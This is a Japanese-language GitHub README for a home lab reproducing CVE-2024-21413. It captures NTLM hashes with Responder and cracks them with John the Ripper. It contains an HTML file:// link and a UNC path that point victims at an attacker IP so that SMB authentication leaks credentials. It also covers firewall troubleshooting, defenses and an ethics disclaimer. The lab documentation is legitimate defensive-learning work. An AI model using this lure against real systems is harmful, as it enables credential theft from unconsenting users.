Moniker Link Lab Setup - CVE-2024-21413
🎯 プロジェクト概要
CVE-2024-21413 の Moniker Link を利用した NTLM 資格情報窃取のハンズオン侵入テストラボです。このプロジェクトは、セットアップから資格情報の奪取までの完全な攻撃チェーンを、実際の課題と解決策を含めて文書化しています。
主要な成果: 隔離されたラボ環境（Windows 10 VM）と実システム（Windows 11 PC）の両方で Moniker Link 攻撃を成功させ、実用的なセキュリティ脆弱性と防御策を示しました。
🏗️ ラボ構成
インフラストラクチャ
攻撃マシン:
- プラットフォーム: Kali Linux 2024
- ネットワーク（ホストオンリー）: 192.168.56.101
- ネットワーク（ブリッジ）: 192.168.1.117
- 主要ツール: Responder 3.1.6.0
標的システム:
- Windows 10 VM: 192.168.56.104（隔離テスト環境）
- Windows 11 PC: 192.168.1.178（実環境での検証）
ネットワーク構成:
- VirtualBox ホストオンリーアダプター（VM テスト用）
- VirtualBox ブリッジアダプター（実 PC テスト用）
- 本番ネットワークから隔離
⚔️ 攻撃実行
攻撃フロー
- Kali 上で Responder を展開し、NTLM 認証を待ち受ける
- 悪意のあるリンクを作成（file:// プロトコルで攻撃者 IP を指定）
- エクスプローラーの UNC パス経由で認証を誘発
- 被害者が接続を試みた際に NetNTLMv2 ハッシュを取得
- John the Ripper でパスワードを解析
単純な攻撃ベクトル
HTML ファイル（test.html）:
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
エクスプローラーによる方法:
- ユーザーがアドレスバーに
\\192.168.56.101\test と入力
- Windows が SMB 接続を試行
- NTLM ハッシュが自動送信（または資格情報の入力を要求）
- Responder が認証情報を取得
🚧 課題と解決策
課題 1: Windows ファイアウォールによるブロック（Windows 11 PC）
問題:
- Kali から Windows 11 PC に ping が通らない
- SMB 接続の試行が失敗
- 攻撃が完全にブロックされた
原因:
- Windows ファイアウォールがデフォルトで有効
- 外部 IP からの SMB 接続をブロック
解決策:
- テストのために Windows ファイアウォールを一時的に無効化
- 接続が即座に成功
- ハッシュの取得に成功
教訓: デフォルトの Windows ファイアウォールはこの攻撃に対して効果的な防御を提供します。ユーザーは有効にしておく必要があります。
課題 2: John the Ripper のキャッシュ結果（Windows 10 VM）
問題:
- 初期の Windows 10 パスワード:
nwigwecj1
- John の表示:
12Honey（間違ったパスワード!）
12Honey は以前のテストからのもの
原因:
- John は解析済みパスワードを
~/.john/john.pot に保存
- 以前のセッションの古いハッシュが残っていた
- 現在のパスワードではなくキャッシュ結果を表示
解決策:
- Windows 10 VM のパスワードを
1414 に変更
- 新しいハッシュを取得
- 可能性の高いパスワードを含むカスタムワードリストを作成
- 新しいワードリストで解析に成功
教訓: 常に正しいハッシュを解析していることを確認してください。テストの際は pot ファイルを消去するか、ユニークなパスワードを使用してください。
課題 3: パスワードが rockyou.txt に含まれていない
問題:
- パスワード
1414 が rockyou.txt（1400万パスワード）に見つからない
- 汎用ワードリスト攻撃が失敗
原因:
- rockyou.txt はあらゆる 4 桁の組み合わせを含んでいるわけではない
- 単純な数字列は一般的なワードリストに含まれていないことが多い
解決策:
- 一般的なパターンに基づいてターゲットを絞ったカスタムワードリストを作成:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
教訓: 「rockyou.txt にないから安全」とは限りません。短いパスワードは、ワードリストの有無にかかわらず、標的型攻撃やブルートフォースに対して脆弱です。
📊 結果
Windows 10 VM（管理環境）
| 指標 | 結果 |
|---|
| 初期パスワード | nwigwecj1 |
| 変更後 | 1414 |
| ワードリスト | カスタム（2 エントリ） |
| 解析時間 | 1 秒未満 |
| ファイアウォール | テストのため無効 |
| ステータス | ✅ 攻略成功 |
Windows 11 PC（実システム）
| 指標 | 結果 |
|---|
| パスワード | 1414 |
| ファイアウォール | 最初はブロック、その後無効化 |
| 認証 | 手動プロンプト（資格情報を入力） |
| 解析時間 | 即時 |
| ステータス | ✅ 攻略成功 |
🛡️ セキュリティ分析
有効だった防御策
✅ Windows ファイアウォール - 有効時は攻撃を完全にブロック
✅ 最新ブラウザ - Chrome/Edge はリモートの file:// リンクをブロック
✅ ユーザーの認識 - 手動プロンプトではユーザーの操作が必要
機能しなかった脆弱性
❌ 弱いパスワード - 4 桁の数字は簡単に解析された
❌ ファイアウォールの無効化 - ユーザーによくある過ち
❌ エクスプローラー - UNC パスに警告なし
❌ NTLM プロトコル - SMB 共有への自動認証
主要な発見
1. ファイアウォールは極めて重要
- デフォルトの Windows ファイアウォールはこの攻撃をブロックする
- 約 30～40% のユーザーが恒久的に無効化している
- 企業ネットワークでは内部 SMB を許可することが多い
2. パスワード強度の錯覚
1414 は rockyou.txt にない（一見「強い」ように見える）- 標的型ワードリストで即座に解析された
- 短いパスワードは全く安全ではない
3. ユーザーの操作が必要
- 最新のセキュリティでは、ユーザーが UNC パスを貼り付ける必要がある
- ソーシャルエンジニアリングが依然として重要な要素
- 技術的なエクスプロイトだけでは不十分
🔧 使用ツール
攻撃用:
- Responder 3.1.6.0（NTLM ハッシュ取得）
- John the Ripper（パスワード解析）
- カスタムワードリスト作成
- 簡単な HTML ファイル
インフラストラクチャ:
- VirtualBox 7.0（仮想化）
- Kali Linux 2024（攻撃プラットフォーム）
- Windows 10 Enterprise（テスト対象）
- Windows 11 Pro（実環境検証）
📁 リポジトリ構成
Moniker-Link-Lab-Setup/
├── README.md（このファイル）
├── Documentation/
│ ├── attack-execution.md（ステップバイステップの攻撃ガイド）
│ └── README.md（ドキュメント概要）
├── Screenshots/（攻撃スクリーンショット - 追加予定）
└── Scripts/（HTML テストファイル - 追加予定）
🎓 デモンストレーションしたスキル
技術面:
- ネットワークプロトコル分析（SMB、NTLM）
- 侵入テスト手法
- パスワード解析技術
- 仮想ラボインフラストラクチャ
- ファイアウォールトラブルシューティング
プロフェッショナル面:
- 技術文書作成
- 制約下での問題解決
- セキュリティ評価
- リスク分析
- 倫理的なテスト実践
🔒 防御の推奨事項
ユーザー向け
- ✅ Windows ファイアウォールを有効にしておく
- ✅ メールから UNC パスを貼り付けない
- ✅ 強力なパスワード（15 文字以上）を使用する
- ✅ ファイル共有にアクセスする前に送信者を確認する
組織向け
- ✅ ネットワークファイアウォールで SMB アウトバウンド（ポート 445）をブロックする
- ✅ NTLM を無効化し、Kerberos を強制する
- ✅ 外部 IP への SMB 接続を監視する
- ✅ メールゲートウェイのフィルタリング（file:// リンクの除去）
- ✅ セキュリティ意識向上トレーニング
- ✅ パスワード複雑性ポリシー
⚠️ 倫理的開示
すべてのテストは認可されたシステムで実施:
- 個人のラボインフラストラクチャのみ
- 隔離された仮想ネットワーク
- 自身のデバイスとアカウント
- 教育目的
法的注意: 許可のないコンピュータへのアクセスは違法です。このプロジェクトは教育目的および認可されたテスト環境でのみ使用してください。
📚 参考文献
📞 連絡先
LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/
GitHub: @E-m-e-k-a
日付: 2026年3月
📄 ライセンス
教育目的のみ。許可のないテストには使用しないでください。
⭐ このプロジェクトが役立つと思われましたら、リポジトリにスターを付けることをご検討ください！
e-m-e-k-a/moniker-link-lab-setup
